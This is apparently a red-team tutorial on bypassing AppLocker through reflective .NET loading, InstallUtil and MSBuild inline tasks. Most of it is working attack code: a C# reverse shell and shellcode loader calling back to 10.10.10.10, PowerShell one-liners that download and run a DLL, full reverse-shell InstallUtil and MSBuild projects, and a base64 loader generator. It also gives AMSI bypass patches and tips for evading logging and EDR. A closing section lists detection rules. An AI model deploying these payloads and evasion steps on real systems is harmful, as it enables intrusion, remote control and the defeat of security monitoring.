AppLocker Bypass — Reflective Assembly Load
Scope: Red team / authorized penetration testing. Techniques map to MITRE ATT&CK T1218.004 (InstallUtil), T1127.001 (MSBuild), and T1620 (Reflective Code Loading).
Lab Setup
Recommended VM Stack
Host Machine
└── Hypervisor (VMware Workstation / VirtualBox / Hyper-V)
├── Windows 10/11 Enterprise (victim VM)
│ ├── AppLocker default rules enforced
│ ├── Windows Defender enabled + updated
│ ├── .NET Framework 4.8
│ ├── PowerShell 5.1 + Script Block Logging enabled
│ ├── Visual Studio Build Tools (csc.exe, MSBuild.exe)
│ ├── Sysmon (SwiftOnSecurity config)
│ └── Sysinternals Suite
│
└── Kali Linux (attacker VM)
├── Python 3.10+
├── netcat / rlwrap
└── mono (optional — compile C# on Kali)Windows VM Configuration
1# Confirm .NET Framework version
2[System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory()
3(Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full").Version
4
5# Locate csc.exe and MSBuild.exe — confirm they exist
6$csc = "${env:WINDIR}\Microsoft.NET\Framework64\v4.0.30319\csc.exe"
7$msbuild = "${env:WINDIR}\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
8$iu = "${env:WINDIR}\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
9
10@($csc, $msbuild, $iu) | ForEach-Object {
11 $exists = Test-Path $_
12 $signed = (Get-AuthenticodeSignature $_).Status
13 Write-Host "$(if($exists){'[OK]'}else{'[MISSING]'}) $_ — $signed"
14} 1# Enable Script Block Logging — captures Assembly.Load calls in EID 4104
2$r = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
3New-Item $r -Force
4Set-ItemProperty $r "EnableScriptBlockLogging" 1
5
6# Verify AppLocker blocks untrusted scripts
7$testScript = "$env:TEMP\test.ps1"
8"Write-Host 'blocked?'" | Out-File $testScript
9try {
10 powershell -ExecutionPolicy Bypass -File $testScript
11 Write-Warning "Script NOT blocked — check AppLocker script rules"
12} catch {
13 Write-Host "[+] AppLocker script rules active"
14}
15Remove-Item $testScript -Force 1# Compile test payload to confirm csc.exe works
2$src = @"
3using System;
4public class Test {
5 public static void Main() { Console.WriteLine("csc working"); }
6}
7"@
8$src | Out-File "$env:TEMP\test.cs"
9& $csc /out:"$env:TEMP\test.exe" "$env:TEMP\test.cs"
10Write-Host "[+] csc.exe compile: $(Test-Path "$env:TEMP\test.exe")"
11Remove-Item "$env:TEMP\test.cs","$env:TEMP\test.exe" -ForceSnapshot
VM → Snapshot → "ASSEMBLYLOAD_BASELINE"AppLocker Coverage Gap Diagram
APPLOCKER EVALUATION MODEL
┌───────────────────────────────────────────────────────────────┐
│ │
│ Process Launch │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ AppLocker Policy Engine │ │
│ │ │ │
│ │ Checks: Binary path / publisher / hash │ │
│ │ Scope: .exe .dll .ps1 .vbs .js .msi │ │
│ │ │ │
│ │ ✓ powershell.exe → ALLOW (signed Microsoft) │ │
│ │ ✓ InstallUtil.exe → ALLOW (signed Microsoft) │ │
│ │ ✓ MSBuild.exe → ALLOW (signed Microsoft) │ │
│ └──────────────────────────┬──────────────────────────┘ │
│ │ ALLOWED │
│ ▼ │
│ ┌──────────────────────────────────────────────────────┐ │
│ │ TRUSTED BINARY RUNNING │ │
│ │ │ │
│ │ [System.Reflection.Assembly]::Load($bytes) │ │
│ │ │ │ │
│ │ AppLocker ───── X ──── BLIND SPOT │ │
│ │ never sees │ CLR loads bytes directly │ │
│ │ this call │ into process address space │ │
│ │ ▼ │ │
│ │ YOUR PAYLOAD RUNS │ │
│ │ inside trusted process │ │
│ └──────────────────────────────────────────────────────┘ │
└───────────────────────────────────────────────────────────────┘Execution Flow by Vector
VECTOR 1: PowerShell Reflective Load
─────────────────────────────────────────────────────────────────
powershell.exe payload.dll (in memory)
│ ▲
│ $bytes = DownloadData(url) │
│ [Assembly]::Load($bytes) ─────────┘
│ .GetType("Payload.Runner")
│ .GetMethod("Go").Invoke()
│
└─► code runs inside powershell.exe — AppLocker approved it
VECTOR 2: InstallUtil
─────────────────────────────────────────────────────────────────
InstallUtil.exe /U payload.dll
│
│ loads payload.dll
│ calls Installer.Uninstall()
│ │
└────────────────┴─► YOUR CODE — high trust, low noise
VECTOR 3: MSBuild Inline Task
─────────────────────────────────────────────────────────────────
MSBuild.exe revshell.proj
│
│ CodeTaskFactory reads <Code Type="Class">
│ compiles C# inline via CodeDom
│ executes Task.Execute()
│ │
└────────────────┴─► YOUR CODE — no DLL on disk at allThe Core Idea
AppLocker controls which executables and scripts can run. What it doesn’t, and fundamentally can’t, control is what .NET assemblies a trusted, whitelisted binary loads at runtime.
The .NET CLR’s Assembly.Load() method accepts raw bytes. Feed it a compiled assembly, and it executes inside the calling process, inheriting all of its trust. If that calling process is a Microsoft-signed binary that AppLocker considers sacred, the code you loaded never touches AppLocker’s ruleset at all.
This isn’t a bug in the traditional sense. It’s .NET working exactly as designed, and AppLocker never having been built to handle it.
This post covers three independent vectors:
| vector | binary abused | noise level |
|---|---|---|
| Reflective load via PowerShell | powershell.exe | medium |
| InstallUtil | InstallUtil.exe | low |
| MSBuild inline tasks | MSBuild.exe | low |
How Assembly.Load() Bypasses AppLocker
When AppLocker evaluates a process, it checks the binary on disk against its rules: publisher, path, hash. That evaluation happens at process creation time.
Assembly.Load(byte[]) loads an assembly from a byte array in memory. There is no file on disk for AppLocker to inspect. The CLR hands the bytes directly to the JIT compiler. The assembly is never written to disk, never assigned a path, never evaluated against any policy rule.
The execution model:
AppLocker evaluates: powershell.exe ← trusted, signed, allowed
│
AppLocker stops here Assembly.Load(bytes[])
│
CLR takes over: JIT compiles your assembly in-memory
│
Your code runs inside powershell.exeEvery vector below exploits some flavor of this gap.
Building the Payload Assembly
All three techniques need a compiled .NET assembly to load. Let’s build one: a reusable C# payload class with three escalating capabilities.
payload.cs
1// payload.cs
2// Compile: csc.exe /target:library /out:payload.dll payload.cs
3// or: dotnet build
4
5using System;
6using System.Diagnostics;
7using System.Net;
8using System.Net.Sockets;
9using System.IO;
10using System.Text;
11using System.Threading;
12
13namespace Payload {
14
15 public class Runner {
16
17 // ── 1. basic exec ─────────────────────────────────────────────────
18 public static void Exec(string cmd) {
19 var psi = new ProcessStartInfo {
20 FileName = "cmd.exe",
21 Arguments = "/c " + cmd,
22 UseShellExecute = false,
23 RedirectStandardOutput = true,
24 RedirectStandardError = true,
25 CreateNoWindow = true,
26 WindowStyle = ProcessWindowStyle.Hidden
27 };
28 using var p = Process.Start(psi);
29 string stdout = p.StandardOutput.ReadToEnd();
30 string stderr = p.StandardError.ReadToEnd();
31 p.WaitForExit();
32 Console.Write(stdout + stderr);
33 }
34
35 // ── 2. reverse shell ──────────────────────────────────────────────
36 public static void ReverseShell(string host, int port) {
37 using var client = new TcpClient(host, port);
38 using var stream = client.GetStream();
39 using var reader = new StreamReader(stream, Encoding.ASCII);
40 using var writer = new StreamWriter(stream, Encoding.ASCII) { AutoFlush = true };
41
42 writer.WriteLine("[+] shell from " + Environment.MachineName
43 + " as " + Environment.UserName);
44
45 while (true) {
46 writer.Write("PS " + Directory.GetCurrentDirectory() + "> ");
47 string line = reader.ReadLine();
48 if (line == null || line.ToLower() == "exit") break;
49
50 try {
51 var psi = new ProcessStartInfo {
52 FileName = "powershell.exe",
53 Arguments = "-nop -ep bypass -c " + line,
54 UseShellExecute = false,
55 RedirectStandardOutput = true,
56 RedirectStandardError = true,
57 CreateNoWindow = true
58 };
59 using var p = Process.Start(psi);
60 string result = p.StandardOutput.ReadToEnd()
61 + p.StandardError.ReadToEnd();
62 p.WaitForExit();
63 writer.WriteLine(result.TrimEnd());
64 } catch (Exception ex) {
65 writer.WriteLine("[-] " + ex.Message);
66 }
67 }
68 }
69
70 // ── 3. staged shellcode loader ────────────────────────────────────
71 // loads encrypted shellcode from a URL, decrypts, executes
72 // matches the rolling XOR scheme from modern_runner.c
73 public static void ShellcodeLoad(string url, byte key) {
74 using var wc = new WebClient();
75 byte[] enc = wc.DownloadData(url);
76 byte[] sc = new byte[enc.Length];
77
78 // rolling XOR decrypt: out[i] = enc[i] ^ (key + i)
79 for (int i = 0; i < enc.Length; i++)
80 sc[i] = (byte)(enc[i] ^ ((key + i) & 0xff));
81
82 // allocate RWX via VirtualAlloc and execute
83 IntPtr mem = NativeMethods.VirtualAlloc(
84 IntPtr.Zero, (uint)sc.Length,
85 NativeMethods.MEM_COMMIT | NativeMethods.MEM_RESERVE,
86 NativeMethods.PAGE_EXECUTE_READWRITE
87 );
88 System.Runtime.InteropServices.Marshal.Copy(sc, 0, mem, sc.Length);
89 var thread = NativeMethods.CreateThread(
90 IntPtr.Zero, 0, mem, IntPtr.Zero, 0, IntPtr.Zero
91 );
92 NativeMethods.WaitForSingleObject(thread, 0xFFFFFFFF);
93 }
94
95 // ── entry point for InstallUtil ───────────────────────────────────
96 public static void Go() {
97 // swap in whichever capability you need for the engagement
98 ReverseShell("10.10.10.10", 4444);
99 }
100 }
101
102 // P/Invoke declarations for shellcode exec
103 internal static class NativeMethods {
104 public const uint MEM_COMMIT = 0x1000;
105 public const uint MEM_RESERVE = 0x2000;
106 public const uint PAGE_EXECUTE_READWRITE = 0x40;
107
108 [System.Runtime.InteropServices.DllImport("kernel32")]
109 public static extern IntPtr VirtualAlloc(
110 IntPtr lpAddress, uint dwSize,
111 uint flAllocationType, uint flProtect);
112
113 [System.Runtime.InteropServices.DllImport("kernel32")]
114 public static extern IntPtr CreateThread(
115 IntPtr lpThreadAttributes, uint dwStackSize,
116 IntPtr lpStartAddress, IntPtr lpParameter,
117 uint dwCreationFlags, IntPtr lpThreadId);
118
119 [System.Runtime.InteropServices.DllImport("kernel32")]
120 public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
121 }
122}Compile:
:: on target or dev box with .NET SDK
csc.exe /target:library /out:payload.dll payload.cs
:: or with dotnet CLI
dotnet build -c Release -o .Vector 1 — Reflective Load via PowerShell
powershell.exe ships with full access to the .NET reflection API. [System.Reflection.Assembly]::Load() accepts a byte array, loads it into the current AppDomain, and gives you a handle to call into it. The assembly never touches disk.
From a URL (no disk writes)
1# reflective_load.ps1
2
3# pull the assembly bytes directly — nothing written to disk
4$bytes = (New-Object Net.WebClient).DownloadData("http://10.10.10.10/payload.dll")
5
6# load into current AppDomain
7$asm = [System.Reflection.Assembly]::Load($bytes)
8
9# invoke the entry point — Update namespace/class/method to match yours
10$type = $asm.GetType("Payload.Runner")
11$method = $type.GetMethod("Go")
12$method.Invoke($null, $null)From disk (if a dropper already placed it)
$bytes = [IO.File]::ReadAllBytes("C:\Windows\Temp\p.dll")
$asm = [Reflection.Assembly]::Load($bytes)
$asm.GetType("Payload.Runner").GetMethod("Go").Invoke($null, $null)One-liner (for a restricted prompt or run key)
powershell -nop -w hidden -ep bypass -c "[Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData('http://10.10.10.10/payload.dll')).GetType('Payload.Runner').GetMethod('Go').Invoke($null,$null)"Calling with arguments (reverse shell example)
$asm = [Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData("http://10.10.10.10/payload.dll"))
$type = $asm.GetType("Payload.Runner")
$method = $type.GetMethod("ReverseShell")
# pass host and port as object array
$method.Invoke($null, [object[]]@("10.10.10.10", 4444))Vector 2 — InstallUtil
InstallUtil.exe is a legitimate .NET utility for installing and uninstalling service components. It lives in the .NET Framework directory and is fully trusted by AppLocker default rules.
When called with the /U (uninstall) flag, it calls Uninstall() on every class in the target assembly that inherits from System.Configuration.Install.Installer. You build that class. You control Uninstall().
InstallUtil payload wrapper
1// installutil_payload.cs
2// Wraps payload.cs functionality in the Installer interface
3// Compile: csc.exe /target:library /out:iu_payload.dll installutil_payload.cs /reference:payload.dll
4// or compile everything into one file — copy Runner class in and reference directly
5
6using System;
7using System.ComponentModel;
8using System.Configuration.Install;
9using System.Collections;
10
11[RunInstaller(true)]
12public class IUPayload : Installer {
13
14 // Install() — triggered with /I flag (not used here, but must exist)
15 public override void Install(IDictionary state) {
16 base.Install(state);
17 }
18
19 // Uninstall() — triggered with /U flag
20 // InstallUtil calls this, so this is where your payload lives
21 public override void Uninstall(IDictionary state) {
22 base.Uninstall(state);
23 Payload.Runner.Go(); // call into your payload
24 }
25}Or — a self-contained single file (no external dependency):
1// iu_standalone.cs — everything in one file, no external dll needed
2// Compile: csc.exe /target:library /out:iu_standalone.dll iu_standalone.cs
3
4using System;
5using System.ComponentModel;
6using System.Configuration.Install;
7using System.Collections;
8using System.Diagnostics;
9using System.Net;
10using System.Net.Sockets;
11using System.IO;
12using System.Text;
13
14[RunInstaller(true)]
15public class IUPayload : Installer {
16
17 public override void Uninstall(IDictionary state) {
18 // reverse shell inline — update LHOST / LPORT
19 string host = "10.10.10.10";
20 int port = 4444;
21
22 var client = new System.Net.Sockets.TcpClient(host, port);
23 var stream = client.GetStream();
24 var reader = new StreamReader(stream, Encoding.ASCII);
25 var writer = new StreamWriter(stream, Encoding.ASCII) { AutoFlush = true };
26
27 writer.WriteLine("[+] " + Environment.MachineName + " / " + Environment.UserName);
28
29 while (true) {
30 writer.Write(Directory.GetCurrentDirectory() + "> ");
31 string cmd = reader.ReadLine();
32 if (cmd == null || cmd == "exit") break;
33 try {
34 var psi = new ProcessStartInfo("cmd.exe", "/c " + cmd) {
35 RedirectStandardOutput = true,
36 RedirectStandardError = true,
37 UseShellExecute = false,
38 CreateNoWindow = true
39 };
40 var p = Process.Start(psi);
41 writer.WriteLine(p.StandardOutput.ReadToEnd()
42 + p.StandardError.ReadToEnd());
43 p.WaitForExit();
44 } catch (Exception ex) {
45 writer.WriteLine("[-] " + ex.Message);
46 }
47 }
48 client.Close();
49 }
50}Execute:
:: 32-bit
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U iu_standalone.dll
:: 64-bit (more common on modern targets)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U iu_standalone.dllFlag breakdown:
| flag | why it’s there |
|---|---|
/logfile= | suppress log file creation (no artifact) |
/LogToConsole=false | suppress stdout noise |
/U | triggers Uninstall() — your payload |
The process tree is clean: InstallUtil.exe runs, loads the assembly, executes your code. No child process unless your payload spawns one.
Vector 3 — MSBuild Inline Tasks
MSBuild.exe can compile and execute C# code defined inline inside an .xml project file, with no precompiled DLL required. The compilation happens entirely in memory via CodeTaskFactory. AppLocker sees only the trusted MSBuild.exe binary.
Basic exec — inline C#
1<!-- exec.proj -->
2<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3 <Target Name="Run">
4 <Exec />
5 </Target>
6
7 <UsingTask
8 TaskName="Exec"
9 TaskFactory="CodeTaskFactory"
10 AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
11 <Task>
12 <Code Type="Class" Language="cs">
13 <![CDATA[
14 using Microsoft.Build.Framework;
15 using Microsoft.Build.Utilities;
16 using System.Diagnostics;
17
18 public class Exec : Task, ITask {
19 public override bool Execute() {
20 Process.Start(new ProcessStartInfo {
21 FileName = "calc.exe",
22 CreateNoWindow = true,
23 UseShellExecute = false
24 });
25 return true;
26 }
27 }
28 ]]>
29 </Code>
30 </Task>
31 </UsingTask>
32</Project>Reverse shell — inline C#
1<!-- revshell.proj — update LHOST / LPORT -->
2<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3 <Target Name="Run">
4 <Shell />
5 </Target>
6
7 <UsingTask
8 TaskName="Shell"
9 TaskFactory="CodeTaskFactory"
10 AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
11 <Task>
12 <Code Type="Class" Language="cs">
13 <![CDATA[
14 using Microsoft.Build.Framework;
15 using Microsoft.Build.Utilities;
16 using System;
17 using System.Diagnostics;
18 using System.Net.Sockets;
19 using System.IO;
20 using System.Text;
21
22 public class Shell : Task, ITask {
23 public override bool Execute() {
24 string host = "10.10.10.10";
25 int port = 4444;
26
27 var client = new TcpClient(host, port);
28 var stream = client.GetStream();
29 var reader = new StreamReader(stream, Encoding.ASCII);
30 var writer = new StreamWriter(stream, Encoding.ASCII) { AutoFlush = true };
31
32 writer.WriteLine("[+] msbuild shell @ " + Environment.MachineName);
33
34 while (true) {
35 writer.Write(Directory.GetCurrentDirectory() + "> ");
36 string cmd = reader.ReadLine();
37 if (cmd == null || cmd.ToLower() == "exit") break;
38
39 try {
40 var psi = new ProcessStartInfo("cmd.exe", "/c " + cmd) {
41 RedirectStandardOutput = true,
42 RedirectStandardError = true,
43 UseShellExecute = false,
44 CreateNoWindow = true
45 };
46 var p = Process.Start(psi);
47 writer.WriteLine(p.StandardOutput.ReadToEnd()
48 + p.StandardError.ReadToEnd());
49 p.WaitForExit();
50 } catch (Exception ex) {
51 writer.WriteLine("[-] " + ex.Message);
52 }
53 }
54 client.Close();
55 return true;
56 }
57 }
58 ]]>
59 </Code>
60 </Task>
61 </UsingTask>
62</Project>Execute:
:: x86
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe revshell.proj
:: x64
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe revshell.proj
:: quiet
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe /nologo /noconsolelogger revshell.projRemote project file (no local drop)
MSBuild.exe \\10.10.10.10\share\revshell.projOr host it on WebDAV and reference it via UNC path. MSBuild resolves UNC paths natively.
Helper — DLL to Base64 Embedder
If you want to embed your payload DLL directly in the PowerShell loader (zero network traffic, zero disk touches):
1#!/usr/bin/env python3
2# dll_to_ps1.py — convert payload.dll to self-contained PowerShell loader
3
4import base64
5import sys
6import os
7
8def main():
9 if len(sys.argv) < 2:
10 print(f"usage: {sys.argv[0]} payload.dll [output.ps1]")
11 sys.exit(1)
12
13 dll_path = sys.argv[1]
14 out_path = sys.argv[2] if len(sys.argv) >= 3 else "loader.ps1"
15
16 with open(dll_path, "rb") as f:
17 raw = f.read()
18
19 b64 = base64.b64encode(raw).decode()
20
21 # chunk into 120-char lines so it doesn't choke old PowerShell hosts
22 lines = [b64[i:i+120] for i in range(0, len(b64), 120)]
23 b64_block = " `\n".join(f'"{l}"' for l in lines)
24
25 ps1 = f"""# auto-generated by dll_to_ps1.py
26# payload: {os.path.basename(dll_path)} ({len(raw)} bytes)
27$b64 = {b64_block}
28
29$bytes = [Convert]::FromBase64String($b64)
30$asm = [Reflection.Assembly]::Load($bytes)
31$type = $asm.GetType("Payload.Runner")
32$type.GetMethod("Go").Invoke($null, $null)
33"""
34
35 with open(out_path, "w") as f:
36 f.write(ps1)
37
38 print(f"[+] wrote {out_path} ({len(ps1)} bytes)")
39 print(f"[*] run: powershell -nop -ep bypass -w hidden -f {out_path}")
40
41if __name__ == "__main__":
42 main()python3 dll_to_ps1.py payload.dll loader.ps1
# outputs a fully self-contained PS1 — no network calls, no disk DLLChaining the Vectors
For engagements where PowerShell is restricted but the filesystem is writable:
1. Drop revshell.proj via any file write primitive (upload, LFI, writable share)
2. Execute: MSBuild.exe /nologo /noconsolelogger revshell.proj
3. Catch shell on your listenerFor heavily restricted environments (no writable paths, constrained language mode):
1. Find a path that AppLocker allows (e.g. C:\Windows\Temp or a user-writable path in a path rule)
2. Compile DLL on attacker box, base64-encode with dll_to_ps1.py
3. Deliver PS1 via any mechanism (phishing, macro, existing shell)
4. [Reflection.Assembly]::Load() sidesteps CLM restrictions in many configurationsOpSec Notes
- PowerShell Script Block Logging (Event ID 4104) will capture your
Assembly.Load()call and the surrounding code. If ScriptBlock logging is enabled, obfuscate the method name: string concatenation,GetMethod("Re"+"verseShell"), etc. - AMSI scans the in-memory assembly bytes before CLR executes them. A known payload DLL will be caught. XOR-encrypt the bytes before download and decrypt in PowerShell before passing to
Assembly.Load(). - MSBuild running from a non-standard working directory, especially with
/nologo /noconsolelogger, is a fairly quiet signal, but MSBuild making outbound network connections is loud. Prefer local project files where possible. - InstallUtil with
/logfile=(empty log path) and/Uon an unsigned DLL is a known red-team pattern. Defender and most EDRs have signatures for this exact combination, so rename the DLL and sign it with a self-signed cert to change the hash.
AMSI Bypass for Assembly.Load()
If AMSI is catching your DLL bytes, patch it out before loading. Pair this with your loader:
# amsi_patch.ps1 — patch AmsiScanBuffer to always return clean
# run before Assembly.Load()
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiInitFailed','NonPublic,Static')
$field.SetValue($null, $true)Or at the byte-patch level (more robust against reflection-based detection):
1$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
2$b = $a.GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static')
3$c = $b.GetValue($null)
4[IntPtr]$ptr = $c
5
6# overwrite AmsiScanBuffer return value
7$patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) # mov eax, 0x80070057; ret
8$marshal = [System.Runtime.InteropServices.Marshal]
9$old = 0
10$marshal::VirtualProtect($ptr, [uint32]$patch.Length, 0x40, [ref]$old)
11$marshal::Copy($patch, 0, $ptr, $patch.Length)Patch once at the start of your PS session. All subsequent
Assembly.Load()calls go through unpatched.
Detection (Blue Team)
| signal | event / source |
|---|---|
InstallUtil.exe loading unsigned assemblies | Sysmon EID 7 — ImageLoad, check Signed field |
MSBuild.exe spawning network connections | Sysmon EID 3 — NetworkConnect |
MSBuild.exe or InstallUtil.exe spawning shells | Sysmon EID 1 — ProcessCreate, ParentImage |
PowerShell Assembly.Load with byte array | EID 4104 — ScriptBlock logging |
| AMSI bypass patterns in script blocks | EID 4104 — string match on amsiInitFailed, AmsiUtils |
| .NET assembly loaded from network path | ETW — Microsoft-Windows-DotNETRuntime |
Sysmon rules:
1<!-- MSBuild / InstallUtil network activity -->
2<NetworkConnect onmatch="include">
3 <Image condition="is">C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe</Image>
4 <Image condition="is">C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe</Image>
5</NetworkConnect>
6
7<!-- suspicious child processes -->
8<ProcessCreate onmatch="include">
9 <ParentImage condition="is">C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe</ParentImage>
10 <ParentImage condition="is">C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe</ParentImage>
11</ProcessCreate>Mitigation: WDAC (Windows Defender Application Control) with script enforcement and ETW-based inspection covers most of these. AppLocker path/publisher rules alone won’t cover these. These binaries are by definition trusted.
MITRE ATT&CK
| field | value |
|---|---|
| Tactic | Defense Evasion |
| T1218.004 | System Binary Proxy Execution: InstallUtil |
| T1127.001 | Trusted Developer Utilities: MSBuild |
| T1620 | Reflective Code Loading |
| T1059.001 | Command and Scripting: PowerShell |
| Platforms | Windows |
| Permissions Required | User |
References
- MITRE ATT&CK T1218.004 — InstallUtil
- MITRE ATT&CK T1127.001 — MSBuild
- MITRE ATT&CK T1620 — Reflective Code Loading
- LOLBAS — InstallUtil
- LOLBAS — MSBuild
- Casey Smith — original MSBuild/InstallUtil research
- Red Canary — .NET reflection abuse